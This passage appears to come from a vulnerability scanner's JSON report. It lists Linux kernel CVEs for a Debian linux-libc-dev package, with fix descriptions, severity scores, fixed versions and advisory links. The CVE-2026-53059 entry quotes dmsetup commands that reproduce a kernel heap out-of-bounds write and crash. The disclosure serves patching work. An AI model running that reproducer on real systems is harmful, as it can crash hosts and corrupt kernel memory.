"https://git.kernel.org/stable/c/aff0f28f5be803de2452ce702631c021fcd9ce8a", "https://git.kernel.org/stable/c/f996edd7615e686ada141b7f3395025729ff8ccb", "https://linux.oracle.com/cve/CVE-2026-53006.html", "https://linux.oracle.com/errata/ELSA-2026-47017.html", "https://lore.kernel.org/linux-cve-announce/2026062448-CVE-2026-53006-2b02@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53006", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53006.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8633-1", "https://ubuntu.com/security/notices/USN-8633-2", "https://ubuntu.com/security/notices/USN-8635-1", "https://ubuntu.com/security/notices/USN-8645-1", "https://ubuntu.com/security/notices/USN-8662-1", "https://ubuntu.com/security/notices/USN-8662-2", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8666-1", "https://ubuntu.com/security/notices/USN-8666-2", "https://ubuntu.com/security/notices/USN-8666-3", "https://ubuntu.com/security/notices/USN-8667-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8715-1", "https://ubuntu.com/security/notices/USN-8715-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8748-1", "https://ubuntu.com/security/notices/USN-8911-1", "https://www.cve.org/CVERecord?id=CVE-2026-53006" ], "PublishedDate": "2026-06-24T17:17:11.75Z", "LastModifiedDate": "2026-10-19T20:18:55.5Z" }, { "VulnerabilityID": "CVE-2026-53059", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53059", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:29f0e8d1f0358458de07bf96bab5d1211035761e18e9adf9864328cdfb05886a", "Title": "kernel: dm log: fix out-of-bounds write due to region_count overflow", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndm log: fix out-of-bounds write due to region_count overflow\n\nThe local variable region_count in create_log_context() is declared as\nunsigned int (32-bit), but dm_sector_div_up() returns sector_t (64-bit).\nWhen a device-mapper target has a sufficiently large ti-\u003elen with a small\nregion_size, the division result can exceed UINT_MAX. The truncated\nvalue is then used to calculate bitset_size, causing clean_bits,\nsync_bits, and recovering_bits to be allocated far smaller than needed\nfor the actual number of regions.\n\nSubsequent log operations (log_set_bit, log_clear_bit, log_test_bit) use\nregion indices derived from the full untruncated region space, causing\nout-of-bounds writes to kernel heap memory allocated by vmalloc.\n\nThis can be reproduced by creating a mirror target whose region_count\noverflows 32 bits:\n\n dmsetup create bigzero --table '0 8589934594 zero'\n dmsetup create mymirror --table '0 8589934594 mirror \\\n core 2 2 nosync 2 /dev/mapper/bigzero 0 \\\n /dev/mapper/bigzero 0'\n\nThe status output confirms the truncation (sync_count=1 instead of\n4294967297, because 0x100000001 was truncated to 1):\n\n $ dmsetup status mymirror\n 0 8589934594 mirror 2 254:1 254:1 1/4294967297 ...\n\nThis leads to a kernel crash in core_in_sync:\n\n BUG: scheduling while atomic: (udev-worker)/9150/0x00000000\n RIP: 0010:core_in_sync+0x14/0x30 [dm_log]\n CR2: 0000000000000008\n Fixing recursive fault but reboot is needed!\n\nFix by widening the local region_count to sector_t and adding an\nexplicit overflow check before the value is assigned to lc-\u003eregion_count.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 6.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:45114", "https://access.redhat.com/errata/RHSA-2026:45115", "https://access.redhat.com/errata/RHSA-2026:45116", "https://access.redhat.com/errata/RHSA-2026:45192", "https://access.redhat.com/errata/RHSA-2026:47248", "https://access.redhat.com/errata/RHSA-2026:52649", "https://access.redhat.com/errata/RHSA-2026:53989", "https://access.redhat.com/errata/RHSA-2026:55445", "https://access.redhat.com/errata/RHSA-2026:56574", "https://access.redhat.com/errata/RHSA-2026:59662", "https://access.redhat.com/errata/RHSA-2026:59663", "https://access.redhat.com/errata/RHSA-2026:61692", "https://access.redhat.com/errata/RHSA-2026:63189", "https://access.redhat.com/security/cve/CVE-2026-53059", "https://bugzilla.redhat.com/2406712", "https://bugzilla.redhat.com/2492277", "https://bugzilla.redhat.com/2492284", "https://bugzilla.redhat.com/2492318", "https://bugzilla.redhat.com/2492363", "https://bugzilla.redhat.com/show_bug.cgi?id=2406712", "https://bugzilla.redhat.com/show_bug.cgi?id=2492277", "https://bugzilla.redhat.com/show_bug.cgi?id=2492284", "https://bugzilla.redhat.com/show_bug.cgi?id=2492318", "https://bugzilla.redhat.com/show_bug.cgi?id=2492363", "https://bugzilla.redhat.com/show_bug.cgi?id=2510891", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40026", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52950", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52976", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53006", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53059", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64561", "https://errata.almalinux.org/9/ALSA-2026-45192.html", "https://errata.rockylinux.org/RLSA-2026:45192", "https://git.kernel.org/linus/c20e36b7631d83e7535877f08af8b0af72c44b1a%20%287.1-rc1%29", "https://git.kernel.org/stable/c/12bd5b88e91a02785244ff1d20fb157e96e9cdc8", "https://git.kernel.org/stable/c/3ec74da927b4e171a6fc0e77b1188ba4d019af51", "https://git.kernel.org/stable/c/44ab8875ae4a2842bde2d756bed195d375e0debb", "https://git.kernel.org/stable/c/4ec8323b9f0764a14d532b1ae9b87f8a9fecb867", "https://git.kernel.org/stable/c/b455903eed4558982be0811f5b7f44f6bbc4ff57", "https://git.kernel.org/stable/c/c20e36b7631d83e7535877f08af8b0af72c44b1a", "https://git.kernel.org/stable/c/d4ac87567f86a55c3c92e9a5144dcd943a9772a1", "https://git.kernel.org/stable/c/defe483e47173768c227532694dc78cb65db5f09", "https://linux.oracle.com/cve/CVE-2026-53059.html", "https://linux.oracle.com/errata/ELSA-2026-45192.html", "https://lore.kernel.org/linux-cve-announce/2026062401-CVE-2026-53059-f32e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53059", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53059.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-53059" ], "PublishedDate": "2026-06-24T17:17:18.463Z", "LastModifiedDate": "2026-11-06T17:18:03.45Z" }, { "VulnerabilityID": "CVE-2026-53089", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53089", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fd20942fc8875fd2c06933064a05972fa5b972b3ddd275b27c21816ce318062e", "Title": "kernel: bpf: Fix use-after-free in offloaded map/prog info fill", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Fix use-after-free in offloaded map/prog info fill\n\nWhen querying info for an offloaded BPF map or program,\nbpf_map_offload_info_fill_ns() and bpf_prog_offload_info_fill_ns()\nobtain the network namespace with get_net(dev_net(offmap-\u003enetdev)).\nHowever, the associated netdev's netns may be racing with teardown\nduring netns destruction. If the netns refcount has already reached 0,\nget_net() performs a refcount_t increment on 0, triggering:\n\n refcount_t: addition on 0; use-after-free.\n\nAlthough rtnl_lock and bpf_devs_lock ensure the netdev pointer remains\nvalid, they cannot prevent the netns refcount from reaching zero.\n\nFix this by using maybe_get_net() instead of get_net(). maybe_get_net()\nuses refcount_inc_not_zero() and returns NULL if the refcount is already\nzero, which causes ns_get_path_cb() to fail and the caller to return\n-ENOENT -- the correct behavior when the netns is being destroyed.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53089", "https://git.kernel.org/linus/a0c584fc18056709c8e047a82a6045d6c209f4ce%20%287.1-rc1%29", "https://git.kernel.org/stable/c/1a2dc103e16448d022a77ad5fc3234641436c4b7", "https://git.kernel.org/stable/c/43d6848a2a6c92ccfd614d9f0bb6fd85b95dfa9d", "https://git.kernel.org/stable/c/5662dac41a3442aa378d7c405164903eb109fc05", "https://git.kernel.org/stable/c/642943ae5bdacabc8109dc4a5e0ebb4a6b99ef3e", "https://git.kernel.org/stable/c/85dc711f742b192eb97c0e00b521312f5a7a415e", "https://git.kernel.org/stable/c/a0c584fc18056709c8e047a82a6045d6c209f4ce", "https://git.kernel.org/stable/c/a51e7fbe94a87e236631a83973d4f558310b2cd2", "https://git.kernel.org/stable/c/fea55b034328feaafef75aee252f305e6f85a991", "https://linux.oracle.com/cve/CVE-2026-53089.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026062409-CVE-2026-53089-fdd8@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53089", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-53089" ], "PublishedDate": "2026-06-24T17:17:23.097Z", "LastModifiedDate": "2026-11-06T17:18:05.513Z" }, { "VulnerabilityID": "CVE-2026-53091", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53091", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2517589ecad88be4c28ad3e6db72abbb9cc43b925a06c0f2a1c2e211f4beca0d", "Title": "kernel: net: pull headers in qdisc_pkt_len_segs_init()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: pull headers in qdisc_pkt_len_segs_init()\n\nMost ndo_start_xmit() methods expects headers of gso packets\nto be already in skb-\u003ehead.\n\nnet/core/tso.c users are particularly at risk, because tso_build_hdr()\ndoes a memcpy(hdr, skb-\u003edata, hdr_len);\n\nqdisc_pkt_len_segs_init() already does a dissection of gso packets.\n\nUse pskb_may_pull() instead of skb_header_pointer() to make\nsure drivers do not have to reimplement this.\n\nSome malicious packets could be fed, detect them so that we can\ndrop them sooner with a new SKB_DROP_REASON_SKB_BAD_GSO drop_reason.", "Severity": "HIGH", "CweIDs": [ "CWE-131" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:65334", "https://access.redhat.com/errata/RHSA-2026:66324", "https://access.redhat.com/errata/RHSA-2026:66325", "https://access.redhat.com/errata/RHSA-2026:67150", "https://access.redhat.com/security/cve/CVE-2026-53091", "https://bugzilla.redhat.com/2425039", "https://bugzilla.redhat.com/2454867", "https://bugzilla.redhat.com/2460699", "https://bugzilla.redhat.com/2461451", "https://bugzilla.redhat.com/2461525", "https://bugzilla.redhat.com/2464093", "https://bugzilla.redhat.com/2468050", "https://bugzilla.redhat.com/2468192", "https://bugzilla.redhat.com/2468244", "https://bugzilla.redhat.com/2492092", "https://bugzilla.redhat.com/2492115", "https://bugzilla.redhat.com/2492270", "https://bugzilla.redhat.com/2492310", "https://bugzilla.redhat.com/2492408", "https://bugzilla.redhat.com/2492432", "https://bugzilla.redhat.com/2492717", "https://bugzilla.redhat.com/2492722", "https://bugzilla.redhat.com/2492762", "https://bugzilla.redhat.com/2492771", "https://bugzilla.redhat.com/2492795", "https://bugzilla.redhat.com/2502254", "https://bugzilla.redhat.com/2502320", "https://bugzilla.redhat.com/2502331", "https://bugzilla.redhat.com/2502346", "https://bugzilla.redhat.com/2502388", "https://bugzilla.redhat.com/2502413", "https://bugzilla.redhat.com/2502446", "https://bugzilla.redhat.com/2502473", "https://bugzilla.redhat.com/2502477", "https://bugzilla.redhat.com/2502518", "https://bugzilla.redhat.com/2502541", "https://bugzilla.redhat.com/2506782", "https://bugzilla.redhat.com/2507292", "https://bugzilla.redhat.com/2513141", "https://bugzilla.redhat.com/2513177", "https://bugzilla.redhat.com/2513253", "https://bugzilla.redhat.com/2513324", "https://bugzilla.redhat.com/2513397", "https://bugzilla.redhat.com/2513408", "https://bugzilla.redhat.com/2513452", "https://bugzilla.redhat.com/2513474", "https://bugzilla.redhat.com/2516501", "https://bugzilla.redhat.com/show_bug.cgi?id=2425039", "https://bugzilla.redhat.com/show_bug.cgi?id=2454867", "https://bugzilla.redhat.com/show_bug.cgi?id=2460699", "https://bugzilla.redhat.com/show_bug.cgi?id=2461451", "https://bugzilla.redhat.com/show_bug.cgi?id=2461525", "https://bugzilla.redhat.com/show_bug.cgi?id=2464093", "https://bugzilla.redhat.com/show_bug.cgi?id=2468050", "https://bugzilla.redhat.com/show_bug.cgi?id=2468192", "https://bugzilla.redhat.com/show_bug.cgi?id=2468244", "https://bugzilla.redhat.com/show_bug.cgi?id=2492092", "https://bugzilla.redhat.com/show_bug.cgi?id=2492115", "https://bugzilla.redhat.com/show_bug.cgi?id=2492270", "https://bugzilla.redhat.com/show_bug.cgi?id=2492310", "https://bugzilla.redhat.com/show_bug.cgi?id=2492408", "https://bugzilla.redhat.com/show_bug.cgi?id=2492432", "https://bugzilla.redhat.com/show_bug.cgi?id=2492717", "https://bugzilla.redhat.com/show_bug.cgi?id=2492722", "https://bugzilla.redhat.com/show_bug.cgi?id=2492762", "https://bugzilla.redhat.com/show_bug.cgi?id=2492771", "https://bugzilla.redhat.com/show_bug.cgi?id=2492795", "https://bugzilla.redhat.com/show_bug.cgi?id=2502254", "https://bugzilla.redhat.com/show_bug.cgi?id=2502320", "https://bugzilla.redhat.com/show_bug.cgi?id=2502331", "https://bugzilla.redhat.com/show_bug.cgi?id=2502346", "https://bugzilla.redhat.com/show_bug.cgi?id=2502388", "https://bugzilla.redhat.com/show_bug.cgi?id=2502413", "https://bugzilla.redhat.com/show_bug.cgi?id=2502446", "https://bugzilla.redhat.com/show_bug.cgi?id=2502473", "https://bugzilla.redhat.com/show_bug.cgi?id=2502477", "https://bugzilla.redhat.com/show_bug.cgi?id=2502518", "https://bugzilla.redhat.com/show_bug.cgi?id=2502541", "https://bugzilla.redhat.com/show_bug.cgi?id=2506782", "https://bugzilla.redhat.com/show_bug.cgi?id=2507292", "https://bugzilla.redhat.com/show_bug.cgi?id=2513141", "https://bugzilla.redhat.com/show_bug.cgi?id=2513177", "https://bugzilla.redhat.com/show_bug.cgi?id=2513253", "https://bugzilla.redhat.com/show_bug.cgi?id=2513324", "https://bugzilla.redhat.com/show_bug.cgi?id=2513397", "https://bugzilla.redhat.com/show_bug.cgi?id=2513408", "https://bugzilla.redhat.com/show_bug.cgi?id=2513452", "https://bugzilla.redhat.com/show_bug.cgi?id=2513474", "https://bugzilla.redhat.com/show_bug.cgi?id=2516501", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68745", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31566", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31656", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31692", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43334", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43368", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43370", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52918", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53091", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53182", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53209", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53246", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53254", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53256", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63801", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63889", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63944", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63945", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63946", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63975", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64113", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68086", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68264", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68315", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68376", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72098", "https://errata.almalinux.org/9/ALSA-2026-67150.html", "https://errata.rockylinux.org/RLSA-2026:67150", "https://git.kernel.org/linus/7fb4c19670110f052c04e1ec1d2b953b9f4f57e4%20%287.1-rc1%29", "https://git.kernel.org/stable/c/5895cfc76924a629c6eaa5e5f049de642860045f", "https://git.kernel.org/stable/c/7564dc804d8289d2e5c6edb8173754051b71bff4", "https://git.kernel.org/stable/c/7fb4c19670110f052c04e1ec1d2b953b9f4f57e4", "https://git.kernel.org/stable/c/9d4f5c68f5ad4ab425f3ce1500c97c9f9743999a", "https://linux.oracle.com/cve/CVE-2026-53091.html", "https://linux.oracle.com/errata/ELSA-2026-67150-0.html", "https://lore.kernel.org/linux-cve-announce/2026062409-CVE-2026-53091-cb58@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53091", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53091.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-53091" ], "PublishedDate": "2026-06-24T17:17:23.283Z", "LastModifiedDate": "2026-10-21T13:19:09.8Z" }, { "VulnerabilityID": "CVE-2026-53112", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53112", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5c286f7893498c6939796d93b5d569298008043bf401c171b89385a7e9ef2f3b", "Title": "kernel: wifi: rtlwifi: pci: fix possible use-after-free caused by unfinished irq_prepare_bcn_tasklet", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: rtlwifi: pci: fix possible use-after-free caused by unfinished irq_prepare_bcn_tasklet\n\nThe irq_prepare_bcn_tasklet is initialized in rtl_pci_init() and\nscheduled when RTL_IMR_BCNINT interrupt is triggered by hardware.\nBut it is never killed in rtl_pci_deinit(). When the rtlwifi card\nprobe fails or is being detached, the ieee80211_hw is deallocated.\nHowever, irq_prepare_bcn_tasklet may still be running or pending,\nleading to use-after-free when the freed ieee80211_hw is accessed\nin _rtl_pci_prepare_bcn_tasklet().\n\nSimilar to irq_tasklet, add tasklet_kill() in rtl_pci_deinit() to\nensure that irq_prepare_bcn_tasklet is properly terminated before\nthe ieee80211_hw is released.\n\nThe issue was identified through static analysis.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53112", "https://git.kernel.org/linus/039cd522dc70151da13329a5e3ae19b1736f468a%20%287.1-rc1%29", "https://git.kernel.org/stable/c/008c456b76e9070979bc0e763897a5d3b0fdd4dc", "https://git.kernel.org/stable/c/039cd522dc70151da13329a5e3ae19b1736f468a", "https://git.kernel.org/stable/c/3c0e8a3179e6325a7dc6ce221aef0e03d854ab4b", "https://git.kernel.org/stable/c/7731b67bd59d1284d150cbe40a47e95a10613234", "https://git.kernel.org/stable/c/aa10a452e34810987fb9f4a047995b30003fb53f", "https://git.kernel.org/stable/c/ae10d4a1ab6bcaa1336abb171908a9a365761d3e", "https://git.kernel.org/stable/c/e40873820c9d245ce482faa7ad514ebdb3b8d23d", "https://git.kernel.org/stable/c/fac1079e0fdec6df6d7562c21941587236dc3def", "https://linux.oracle.com/cve/CVE-2026-53112.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026062414-CVE-2026-53112-ca3f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53112", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", 